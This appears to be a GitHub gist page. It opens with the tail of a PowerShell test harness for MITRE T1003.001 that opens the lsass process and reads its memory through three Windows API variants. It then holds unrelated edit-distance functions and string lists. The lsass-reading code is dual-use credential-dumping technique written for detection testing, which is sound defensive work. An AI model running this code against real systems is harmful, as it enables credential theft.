$ProcessHandle = [AtomicTestHarnesses.ProcessNativeMethods]::OpenProcess( | |
$AccessRights, | |
$False, | |
$ProcessId | |
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() | |
if($ProcessHandle -eq [IntPtr]::Zero){ | |
Write-Error $LastError | |
return | |
} | |
$BytesRead = 0 | |
[IntPtr]$lpBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1024) | |
$lpBaseAddress = (Get-Process -Name lsass -Module)[0].BaseAddress | |
$Success = [AtomicTestHarnesses.ProcessNativeMethods]::ApisetReadProcessMemory( | |
$ProcessHandle, | |
$lpBaseAddress, | |
$lpBuffer, | |
1024, | |
[ref]$BytesRead | |
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() | |
if($Success -eq 0){ | |
Write-Error $LastError | |
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle); | |
$Free = [System.Runtime.InteropServices.Marshal]::FreeHGlobal($lpBuffer) | |
return | |
} | |
else{ | |
$TestSuccess = $true | |
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle) | |
$Free = [System.Runtime.InteropServices.Marshal]::FreeHGlobal($lpBuffer) | |
} | |
[PSCustomObject] @{ | |
TechniqueID = 'T1003.001' | |
StartingFunction = $Variant | |
FunctionPath = $FunctionPath | |
TestSuccess = $TestSuccess | |
TestGuid = $TestGuid | |
TestCommand = $TestCommand.Line | |
SourceUser = $SourceUser | |
SourceExecutableFilePath = $SourceProcessPath | |
SourceExecutableFileHash = $SourceExeHash | |
SourceProcessId = $PID | |
GrantedRights = $AccessRights | |
TargetExecutableFilePath = $TargetExecutablePath | |
TargetExecutableFileHash = $TargetExeHash | |
TargetProcessId = $ProcessId | |
DumpFile = $null | |
} | |
break | |
} | |
'Kernelbase!ReadProcessMemory' { | |
$ProcessHandle = [AtomicTestHarnesses.ProcessNativeMethods]::OpenProcess( | |
$AccessRights, | |
$False, | |
$ProcessId | |
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() | |
if($ProcessHandle -eq [IntPtr]::Zero){ | |
Write-Error $LastError | |
return | |
} | |
$BytesRead = 0 | |
[IntPtr]$lpBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1024) #Get Proper Size of process memory to avoid errors regarding the size of buffer. Ie Buffer is too small to handle LSASS mem. | |
$lpBaseAddress = (Get-Process -Name lsass -Module)[0].BaseAddress | |
$Success = [AtomicTestHarnesses.ProcessNativeMethods]::KernelbaseReadProcessMemory( | |
$ProcessHandle, | |
$lpBaseAddress, | |
$lpBuffer, | |
1024, | |
[ref]$BytesRead | |
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() | |
if($Success -eq 0){ | |
Write-Error $LastError | |
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle); | |
$Free = [System.Runtime.InteropServices.Marshal]::FreeHGlobal($lpBuffer) | |
return | |
} | |
else{ | |
$TestSuccess = $true | |
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle) | |
$Free = [System.Runtime.InteropServices.Marshal]::FreeHGlobal($lpBuffer) | |
} | |
[PSCustomObject] @{ | |
TechniqueID = 'T1003.001' | |
StartingFunction = $Variant | |
FunctionPath = $FunctionPath | |
TestSuccess = $TestSuccess | |
TestGuid = $TestGuid | |
TestCommand = $TestCommand.Line | |
SourceUser = $SourceUser | |
SourceExecutableFilePath = $SourceProcessPath | |
SourceExecutableFileHash = $SourceExeHash | |
SourceProcessId = $PID | |
GrantedRights = $AccessRights | |
TargetExecutableFilePath = $TargetExecutablePath | |
TargetExecutableFileHash = $TargetExeHash | |
TargetProcessId = $ProcessId | |
DumpFile = $null | |
} | |
break | |
} | |
'Ntdll!NtReadVirtualMemory' { | |
$ProcessHandle = [AtomicTestHarnesses.ProcessNativeMethods]::OpenProcess( | |
$AccessRights, | |
$False, | |
$ProcessId | |
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() | |
if($ProcessHandle -eq [IntPtr]::Zero){ | |
Write-Error $LastError | |
return | |
} | |
$BytesRead = 0 | |
[IntPtr]$lpBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1024) | |
$lpBaseAddress = (Get-Process -Name lsass -Module)[0].BaseAddress | |
$Success = [AtomicTestHarnesses.ProcessNativeMethods]::NtReadVirtualMemory( | |
$ProcessHandle, | |
$lpBaseAddress, | |
$lpBuffer, | |
1024, | |
[ref]$BytesRead | |
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() | |
if($Success -ne 0){ | |
Write-Error $LastError | |
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle); | |
$Free = [System.Runtime.InteropServices.Marshal]::FreeHGlobal($lpBuffer) | |
return | |
} | |
else{ | |
$TestSuccess = $true | |
$Close = [AtomicTestHarnesses.ProcessNativeMethods]::CloseHandle($ProcessHandle) | |
$Free = [System.Runtime.InteropServices.Marshal]::FreeHGlobal($lpBuffer) | |
} | |
[PSCustomObject] @{ | |
TechniqueID = 'T1003.001' | |
StartingFunction = $Variant | |
FunctionPath = $FunctionPath | |
TestSuccess = $TestSuccess | |
TestGuid = $TestGuid | |
TestCommand = $TestCommand.Line | |
SourceUser = $SourceUser | |
SourceExecutableFilePath = $SourceProcessPath | |
SourceExecutableFileHash = $SourceExeHash | |
SourceProcessId = $PID | |
GrantedRights = $AccessRights | |
TargetExecutableFilePath = $TargetExecutablePath | |
TargetExecutableFileHash = $TargetExeHash | |
TargetProcessId = $ProcessId | |
DumpFile = $null | |
} | |
break | |
} | |
} | |
} | |
END { | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function LevenshteinDistance([string]$a, [string]$b) { | |
# Create empty edit distance matrix for all possible modifications of | |
# substrings of a to substrings of b. | |
$distanceMatrix = (0..($b.Length + 1)).ForEach( {New-Object object[] ($a.Length + 1)} ) | |
# Fill the first row of the matrix. | |
# If this is first row then we're transforming empty string to a. | |
# In this case the number of transformations equals to size of a substring. | |
for ($i = 0; $i -le $a.length; $i += 1) { | |
$distanceMatrix[0][$i] = $i | |
} | |
# Fill the first column of the matrix. | |
# If this is first column then we're transforming empty string to b. | |
# In this case the number of transformations equals to size of b substring. | |
for ($j = 0; $j -le $b.length; $j += 1) { | |
$distanceMatrix[$j][0] = $j; | |
} | |
for ($j = 1; $j -le $b.length; $j += 1) { | |
for ($i = 1; $i -le $a.length; $i += 1) { | |
$indicator = if ($a[$i - 1] -eq $b[$j - 1]) {0} else {1} | |
$min = [math]::Min(($distanceMatrix[$j][$i - 1] + 1), ($distanceMatrix[$j - 1][$i] + 1)) | |
$distanceMatrix[$j][$i] = [math]::Min($min, ($distanceMatrix[$j - 1][$i - 1] + $indicator)) | |
} | |
} | |
$distanceMatrix[$b.length][$a.length] | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function NormalizedEditDistance([string]$x, [string]$y) { | |
# Calculate the Edit Distance (D_e) otherwise known as the Levenshtein Distance between the two strings (x and y) | |
$D_e = LevenshteinDistance -a $x -b $y | |
# Normalize the Edit Distance based on the length of strings | |
$D_ne = $D_e / ($x.Length + $y.Length) | |
$props = [ordered]@{ | |
FirstString = $x | |
SecondString = $y | |
EditDistance = $D_e | |
MetricEditDistance = $D_ne | |
} | |
Write-Output (New-Object -TypeName psobject -Property $props) | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ADFGH | |
DFGH | |
FGH | |
GH | |
H | |
BEFGH | |
EFGH | |
CEFGH |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
12 | |
2 | |
3EF | |
ABC3EF | |
ABCDEF | |
ABCIEF | |
BC3EF | |
BCDEF | |
BCIEF | |
C3EF | |
CDEF | |
CIEF | |
DEF | |
EF | |
F | |
GH3EF | |
GHDEF | |
GHIEF | |
H3EF | |
HDEF | |
HIEF | |
IEF | |
JKIEF | |
JKLEF | |
JKMEF | |
KIEF | |
KLEF | |
KMEF | |
LEF | |
MEF | |
NORS12 | |
NORSYZEF | |
ORS12 | |
ORSYZEF | |
PS12 | |
PSYZEF | |
QRS12 | |
QRSYZEF | |
RS12 | |
RSYZEF | |
S12 | |
SYZEF | |
TUX12 | |
TUXYZEF | |
UX12 | |
UXYZEF | |
VUX12 | |
VUXYZEF | |
WX12 | |
WXYZEF | |
X12 | |
XYZEF | |
YZEF | |
ZEF |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function YujianBoDistance([string]$x, [string]$y) { | |
# Calculate the Edit Distance (D_e) otherwise known as the Levenshtein Distance between the two strings (x and y) | |
$D_e = levenshteinDistance -a $x -b $y | |
# Normalize the Edit Distance based on the length of strings | |
$D_yb = (2 * $D_e) / ($x.Length + $y.Length + $D_e) | |
$props = [ordered]@{ | |
FirstString = $x | |
SecondString = $y | |
EditDistance = $D_e | |
YujianBoDistance = $D_yb | |
} | |
Write-Output (New-Object -TypeName psobject -Property $props) | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment